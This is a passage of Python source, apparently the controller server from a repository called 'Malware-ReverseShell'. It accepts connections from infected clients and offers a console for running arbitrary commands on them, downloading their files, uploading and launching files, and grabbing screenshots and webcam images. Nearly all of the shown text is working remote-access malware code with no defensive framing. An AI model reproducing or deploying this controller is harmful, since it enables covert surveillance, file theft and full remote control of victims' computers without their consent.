| # ---------------------------------------------- 84 | 85 | # Basic startup 86 | def run(self): 87 | print("ip -> {}".format(self.ip)) 88 | print("port -> {}".format(str(self.port))) 89 | print("----------------------------------") 90 | 91 | try: 92 | # Basic configuration for main server socket 93 | self.server_socket.bind((self.ip, int(self.port))) 94 | self.server_socket.listen(10) 95 | 96 | Thread(target=self.accept_connections).start() 97 | sleep(.1) 98 | 99 | self.shell() 100 | 101 | except OSError as e: 102 | print(e) 103 | print("Couldn't bind and start listening on specified parameters.") 104 | 105 | # Main loop for accepting connections 106 | def accept_connections(self): 107 | print("Accepting connections...") 108 | print("----------------------------------") 109 | 110 | self.startup_commands() 111 | 112 | while self.accepting_connections: 113 | sock, a = self.server_socket.accept() 114 | if self.wait_mode: 115 | print("\nNew connection established.") 116 | 117 | if not self.closing: 118 | client_name = sock.recv(1024).decode("utf-8") 119 | client_name = "_".join(client_name.split()) 120 | if client_name not in self.get_clients_names(): 121 | self.clients[str(len(self.clients))] = client_name, sock 122 | else: 123 | x = 1 124 | new_client_name = client_name 125 | while new_client_name in self.get_clients_names(): 126 | new_client_name = client_name + str(x) 127 | x += 1 128 | self.clients[str(len(self.clients))] = new_client_name, sock 129 | 130 | sleep(.1) 131 | print("Accepting connections stopped.") 132 | 133 | self.server_socket.close() 134 | 135 | # Main loop console 136 | def shell(self): 137 | 138 | command = "" 139 | 140 | while command != "close" and command != "exit" and command != "quit": 141 | try: 142 | print("") 143 | 144 | command = input("-> " if self.client_name == "" else self.client_name + ">" if self.client_path == "" else self.client_path + ">") 145 | 146 | # ---------------------------------------------- 147 | # Server commands 148 | # ---------------------------------------------- 149 | 150 | if command == "print commands" or command == "list": 151 | system("cls") 152 | self.print_commands() 153 | 154 | elif command == "clear" or command == "cls": 155 | system("cls") 156 | 157 | elif command == "show ip": 158 | print("ip -> {}".format(self.ip)) 159 | 160 | elif command == "show port": 161 | print("port -> {}".format(str(self.port))) 162 | 163 | elif command == "show screenshots directory": 164 | print(self.directory_of_screenshots) 165 | 166 | elif command == "show webcam shots directory": 167 | print(self.webcam_shots_directory) 168 | 169 | elif command == "save": 170 | self.save_data() 171 | 172 | elif command.startswith("set "): 173 | try: 174 | self.set_client(command.split()[1]) 175 | except IndexError: 176 | print("Invalid syntax (set [clients name])") 177 | 178 | elif command == "unset": 179 | self.unset_client() 180 | 181 | elif command == "wait": 182 | self.waiting_mode() 183 | 184 | elif command == "clients": 185 | if self.clients != {}: 186 | print("--------------- Connected clients ---------------") 187 | print("id name ip address") 188 | for id, data in self.clients.items(): 189 | name, sock = data[0], data[1] 190 | print(id + " " * (10 - len(id)) + name + " " * (20 - len(name)) + sock.getpeername()[0]) 191 | else: 192 | print("No clients connected.") 193 | 194 | elif command.startswith("rename "): 195 | try: 196 | old_name = command.split()[1] 197 | new_name = command.split()[2] 198 | result = self.update_client_name(old_name, new_name) 199 | if result: 200 | print("New name to client has been set.") 201 | if self.is_set(name=old_name): 202 | self.unset_client() 203 | else: 204 | print("Client with that name doesn't exist.") 205 | except IndexError: 206 | print("Invalid syntax (rename oldname newname)") 207 | 208 | elif command == "name mode": 209 | self.client_path = "" 210 | 211 | elif command.startswith("screenshot -s "): 212 | self.screenshot_number = int(command.strip("screenshot -s ")) 213 | print("Screenshots are going to be saved from {}".format(str(self.screenshot_number))) 214 | 215 | # ---------------------------------------------- 216 | # Server-Client commands 217 | # ---------------------------------------------- 218 | 219 | elif command == "check": 220 | try: 221 | if self.send_command(command): 222 | message = self.client_socket.recv(22).decode("UTF-8") 223 | print(message) 224 | 225 | except socket.error as e: 226 | print(e) 227 | 228 | elif command == "get name": 229 | if self.send_command(command): 230 | name = self.client_socket.recv(30).decode("UTF-8") 231 | print(name) 232 | 233 | elif command == "path mode": 234 | if self.send_command(command): 235 | self.client_path = self.client_socket.recv(1024).decode("UTF-8") 236 | 237 | elif command == "startup path": 238 | if self.send_command(command): 239 | self.client_path = self.client_socket.recv(1024).decode("UTF-8") 240 | 241 | elif command.startswith("cd "): 242 | if self.send_command(command): 243 | self.client_path = self.client_socket.recv(1024).decode("UTF-8") 244 | 245 | elif command.startswith("dir"): 246 | if self.send_command(command): 247 | self.get_output() 248 | 249 | elif command.startswith("web "): 250 | self.send_command(command) 251 | 252 | elif command.startswith("screenshot"): 253 | if " -d " in command: 254 | directory = command.replace("screenshot -d ", "") 255 | if exists(directory) and isdir(directory): 256 | self.directory_of_screenshots = directory 257 | print("Directory {} for screenshots has been set.".format(self.directory_of_screenshots)) 258 | else: 259 | print("Directory doesn't exist or specified path is not a directory.") 260 | 261 | else: 262 | if self.send_command(command): 263 | self.get_screenshot() 264 | 265 | elif command == "webcam": 266 | if self.send_command(command): 267 | result = self.client_socket.recv(1024).decode("utf-8") 268 | print(result) 269 | 270 | elif command.startswith("read "): 271 | if self.send_command(command): 272 | respond = self.client_socket.recv(1024).decode("utf-8") 273 | if respond != "error": 274 | file_name = command.split()[1] 275 | file_data = b"" 276 | while True: 277 | data = self.client_socket.recv(1024) 278 | file_data += data 279 | if data.endswith(b"end"): 280 | break 281 | file_data = file_data[:len(file_data) - 3] 282 | with open(file_name, "wb") as f: 283 | f.write(file_data) 284 | print("File {} has been written.".format(file_name)) 285 | else: 286 | print("File doesn't exist or it is directory.") 287 | 288 | elif command.startswith("send "): 289 | try: 290 | file = command.split()[1] 291 | if exists(file) and isfile(file): 292 | with open(file, "rb") as f: 293 | data = f.read() 294 | if self.send_command(command): 295 | self.client_socket.send(data) 296 | self.client_socket.send("end".encode("utf-8")) 297 | output = self.client_socket.recv(22).decode("utf-8") 298 | print(output) 299 | else: 300 | print("File doesn't exist.") 301 | 302 | except IndexError: 303 | print("Invalid syntax (send [file])") 304 | 305 | elif command.startswith("start "): 306 | if self.send_command(command): 307 | message = self.client_socket.recv(1024).decode("utf-8") 308 | print(message) 309 | 310 | elif command == "reset": 311 | if self.send_command(command): 312 | self.remove_client() 313 | 314 | # Just to be user friendly 315 | elif command == "": 316 | pass 317 | 318 | elif command == "close" or command == "exit" or command == "quit": 319 | pass 320 | 321 | else: 322 | if command.endswith(" -c"): 323 | command = command[:len(command) - 3] 324 | if self.send_command(command): 325 | self.get_output() 326 | else: 327 | print("Command doesn't exist.") 328 | 329 | except KeyboardInterrupt: 330 | print("KeyboardInterrupt") 331 | 332 | self.reset_clients() 333 | self.exit() 334 | 335 | # ---------------------------------------------- 336 | # Main methods for basic commands 337 | # Handling clients 338 | # ---------------------------------------------- 339 | 340 | def set_client_valid(self, id, name=None, sock=None): 341 | if name is None and sock is None: 342 | self.client_socket = self.clients[id][1] 343 | self.client_id = id 344 | self.client_name = self.clients[id][0] 345 | else: 346 | self.client_socket = sock 347 | self.client_id = id 348 | self.client_name = name 349 | 350 | self.client_path = "" 351 | 352 | # set client 353 | def set_client(self, id): 354 | if self.clients != {}: 355 | if id in self.clients: 356 | self.set_client_valid(id) 357 | else: 358 | name = id 359 | for client_id, data in self.clients.items(): 360 | if name == data[0]: 361 | self.set_client_valid(client_id) 362 | name = None 363 | break 364 | 365 | if name is not None: 366 | print("Client with this id or name doesn't exist.") 367 | else: 368 | print("No clients connected.") 369 | 370 | # is client set 371 | def is_set(self, id=None, name=None): 372 | if id is not None: 373 | if self.client_id == str(id): 374 | return True 375 | else: 376 | return False 377 | elif name is not None: 378 | if self.client_name == name: 379 | return True 380 | else: 381 | return False 382 | else: 383 | return False 384 | 385 | # unset client 386 | def unset_client(self): 387 | self.client_socket = None 388 | self.client_id = None 389 | self.client_name = "" 390 | self.client_path = "" 391 | 392 | # send command to client 393 | def send_command(self, command): 394 | if self.client_socket is not None: 395 | try: 396 | self.client_socket.send(command.encode("UTF-8")) 397 | return True 398 | except OSError: 399 | print("Client is not connected anymore.") 400 | self.remove_client() 401 | return False 402 | else: 403 | print("Some client has to be selected.") 404 | return False 405 | 406 | def remove_client(self): 407 | self.clients.pop(self.client_id) 408 | self.client_socket = None 409 | self.client_id = None 410 | self.client_name = "" 411 | 412 | self.reset_id_numbers() 413 | 414 | def reset_id_numbers(self): 415 | length = len(self.clients) 416 | new_id = 0 417 | for id in self.clients: 418 | if new_id != length: 419 | self.clients[str(new_id)] = self.clients.pop(id) 420 | new_id += 1 421 | 422 | def get_clients_names(self): 423 | names = [] 424 | for id, data in self.clients.items(): 425 | names.append(data[0]) 426 | return names 427 | 428 | def get_client_id_by_name(self, name): 429 | id = None 430 | if name in self.get_clients_names(): 431 | for i, data in self.clients.items(): 432 | if name in data: 433 | id = i 434 | break 435 | return id 436 | 437 | def get_client_name_by_id(self, id): 438 | pass 439 | 440 | def update_client_name(self, old_name, new_name): 441 | id = self.get_client_id_by_name(old_name) 442 | if id is not None: 443 | self.clients[id] = new_name, self.clients.pop(id)[1] 444 | return True 445 | else: 446 | return False 447 | 448 | # Reset connections with clients 449 | def reset_clients(self): 450 | for id in self.clients: 451 | try: 452 | self.clients[id][1].send("close".encode("UTF-8")) 453 | except OSError: 454 | pass 455 | 456 | # Shutdown whole program, Close the main loop for accepting connections 457 | def exit(self): 458 | self.accepting_connections = False 459 | self.closing = True 460 | # connect to the main server socket to move loop from start and close the loop 461 | try: 462 | closing_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 463 | closing_socket.connect((self.ip, int(self.port))) 464 | 465 | except OSError as e: 466 | print(e) 467 | 468 | finally: 469 | print("\nProgram has been closed.") 470 | 471 | # ---------------------------------------------- 472 | # Methods for commands 473 | # ---------------------------------------------- 474 | 475 | @staticmethod 476 | def print_commands(): 477 | print("""Commands: 478 | server commands: 479 | \tprint commands / list -> print commands 480 | \tclear -> clear the screen 481 | \tshow ip -> show ip address 482 | \tshow port -> show port 483 | \tshow screenshots directory -> show directory where screenshots are going to be saved 484 | \tshow webcam shots directory -> show directory where webcam shots are going to be saved 485 | \tsave -> save ip and port data 486 | \tset [client's id or name] -> set socket by client's name 487 | \tunset -> unset current selected user 488 | \twait -> print new connections 489 | \tclients -> show all connected clients 490 | \trename [oldname newname] -> rename client 491 | \tname mode -> show name instead of path 492 | 493 | server-client commands: 494 | \tcheck -> simple check if connection is all right with client 495 | \tget name -> request name from client 496 | \tpath mode -> set and show client's path instead of name 497 | \tcd [options/directory] -> change directory 498 | \tdir [options] -> list directory 499 | \tweb [url] -> open web page by url 500 | \tscreenshot [-d(directory), -s (start number)] -> Get screenshot from client 501 | \t\t -d -> directory where screenshots are going to be saved 502 | \t\t -s -> set start number for saving screenshots 503 | \twebcam -> Get image from client's webcam 504 | \tread [file] -> read and save file from client 505 | \tsend [file] -> send file 506 | \tstart [file] -> start and open file 507 | \treset -> reset connection with client 508 | 509 | [command] -c -> send any other command 510 | 511 | closing commands: 512 | \tclose/exit/quit -> close the program 513 | """) 514 | 515 | def startup_commands(self): 516 | if self.list: 517 | self.print_commands() 518 | 519 | if self.wait_mode: 520 | print("") 521 | Thread(target=self.waiting_mode).start() 522 | 523 | def waiting_mode(self): 524 | try: 525 | self.wait_mode = True 526 | input("Press enter to stop...") 527 | 528 | except KeyboardInterrupt: 529 | pass 530 | 531 | finally: 532 | self.wait_mode = False 533 | 534 | def get_output(self): 535 | output = "" 536 | while True: 537 | data = self.client_socket.recv(1024).decode("utf-8", errors="ignore") 538 | output += data 539 | if data.endswith("end"): 540 | break 541 | print(output[:len(output) - 3]) 542 | 543 | def get_screenshot(self): 544 | 545 | linux_system = False 546 | 547 | screenshot_data = b"" 548 | 549 | print("Collecting screenshot data") 550 | while True: 551 | data = self.client_socket.recv(1024) 552 | screenshot_data += data 553 | print(len(screenshot_data), end="\r") 554 | if data.endswith(b"end"): 555 | break 556 | if data == "error".encode("utf-8"): 557 | linux_system = True 558 | break 559 | 560 | if not linux_system: 561 | 562 | while exists(self.directory_of_screenshots + "/screenshot" + str(self.screenshot_number) + ".jpg"): 563 | self.screenshot_number += 1 564 | 565 | if exists(self.directory_of_screenshots): 566 | screenshot_name = self.directory_of_screenshots + "/screenshot" + str(self.screenshot_number) + ".jpg" 567 | with open(screenshot_name, "wb") as f: 568 | f.write(screenshot_data[:len(screenshot_data) - 3]) 569 | print("screenshot" + str(self.screenshot_number) + ".jpg " + "saved.\n") 570 | else: 571 | print("Directory where screenshot should be saved doesn't exist.") 572 | 573 | else: 574 | print("Can not take screenshot on linux system.") 575 | 576 | # ---------------------------------------------- 577 | # Constructor methods (and save command) 578 | # ---------------------------------------------- 579 | 580 | def check_parameters(self): 581 | if self.ip is None or len(self.ip) < 7: 582 | if exists(self.file_data): 583 | with open(self.file_data, "r") as f: 584 | print("Reading saved file...") 585 | try: 586 | self.ip, self.port = f.read().split("-") 587 | except IndexError: 588 | self.ask() 589 | else: 590 | self.ask() 591 | 592 | return self.ip, self.port 593 | 594 | def ask(self): 595 | while True: 596 | self.ip = input("Set ip -> ") 597 | if self.ip is not None: 598 | break 599 | 600 | def save_data(self): 601 | if exists(self.file_data): 602 | ans = input("data.txt already exists, do you want to rewrite it ? (y/n): ") 603 | if ans == "y" or ans == "Y": 604 | self.write_data() 605 | else: 606 | print("Data haven't been stored.") 607 | else: 608 | self.write_data() 609 | 610 | def write_data(self): 611 | with open(self.file_data, "w") as f: 612 | f.write("{}-{}".format(self.ip, str(self.port))) 613 | print("Data have been written.") 614 | 615 | # ---------------------------------------------- 616 | # Methods before run() method 617 | # ---------------------------------------------- 618 | 619 | def get_ip(self): 620 | return self.ip 621 | 622 | def set_ip(self, ip): 623 | self.ip = ip 624 | 625 | def get_port(self): 626 | return self.port 627 | 628 | def set_port(self, port): 629 | self.port = int(port) 630 | 631 | # all commands 632 | # type -> all, server, server-client 633 | @staticmethod 634 | def get_commands(type="all"): 635 | commands = {"server": ("print_commands/list", "clear/cls", "show ip", "show port", "show screenshots directory", 636 | "save", "set [client's id/name]", "unset", "wait", "clients", "rename oldname newname" "name mode", "screenshot -d [directory]", "screenshot -s [start number]"), 637 | "server-client": ("check", "get name", "path mode", "cd [directory]", "dir", "web [url]", "screenshot", "screenshot -n [number of screenshots]", 638 | "screenshot -t [seconds]", "webcam", "read [file]", "send [file]", "start [file]", "reset", "close/exit/quit", 639 | "-c in command")} 640 | if type == "all": 641 | return commands 642 | elif type == "server": 643 | return commands["server"] 644 | elif type == "server-client": 645 | return commands["server-client"] 646 | else: 647 | return "Invalid type." 648 | 649 | # server commands 650 | def get_commands_s(self): 651 | return self.get_commands("server") 652 | 653 | # server-client commands 654 | def get_commands_sc(self): 655 | return self.get_commands("server-client") 656 | 657 | # ---------------------------------------------- 658 | # Python Class methods 659 | # ---------------------------------------------- 660 | 661 | def __str__(self): 662 | return "server ip -> {}\nport -> {}".format(self.ip, str(self.port)) 663 | 664 | 665 | if __name__ == "__main__": 666 | server = Server() 667 | server.run() 668 | 669 | 670 | -------------------------------------------------------------------------------- /images/connection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ashen-MG/Malware-ReverseShell/4ceb7fc4615d753a62da3748093d78c37f1cea77/images/connection.png --------------------------------------------------------------------------------